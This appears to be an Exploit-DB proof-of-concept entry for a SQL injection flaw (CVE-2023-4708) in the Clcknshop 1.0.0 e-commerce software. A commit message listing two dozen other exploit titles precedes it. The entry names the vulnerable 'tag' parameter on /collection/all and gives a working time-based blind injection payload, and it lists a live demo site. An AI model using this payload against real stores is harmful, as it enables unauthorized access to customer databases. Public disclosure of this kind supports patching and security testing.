f3649a641f
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
39 lines
No EOL
1 KiB
Text
39 lines
No EOL
1 KiB
Text
# Exploit Title: Clcknshop 1.0.0 - SQL Injection
|
|
# Exploit Author: CraCkEr
|
|
# Date: 16/08/2023
|
|
# Vendor: Infosoftbd Solutions
|
|
# Vendor Homepage: https://infosoftbd.com/
|
|
# Software Link: https://infosoftbd.com/multitenancy-e-commerce-solution/
|
|
# Demo: https://kidszone.clckn.shop/
|
|
# Version: 1.0.0
|
|
# Tested on: Windows 10 Pro
|
|
# Impact: Database Access
|
|
# CVE: CVE-2023-4708
|
|
# CWE: CWE-89 - CWE-74 - CWE-707
|
|
|
|
|
|
## Greetings
|
|
|
|
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
|
|
CryptoJob (Twitter) twitter.com/0x0CryptoJob
|
|
|
|
|
|
## Description
|
|
|
|
SQL injection attacks can allow unauthorized access to sensitive data, modification of
|
|
data and crash the application or make it unavailable, leading to lost revenue and
|
|
damage to a company's reputation.
|
|
|
|
|
|
Path: /collection/all
|
|
|
|
GET parameter 'tag' is vulnerable to SQL Injection
|
|
|
|
https://website/collection/all?tag=[SQLi]
|
|
|
|
---
|
|
Parameter: tag (GET)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: tag=tshirt'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z
|
|
--- |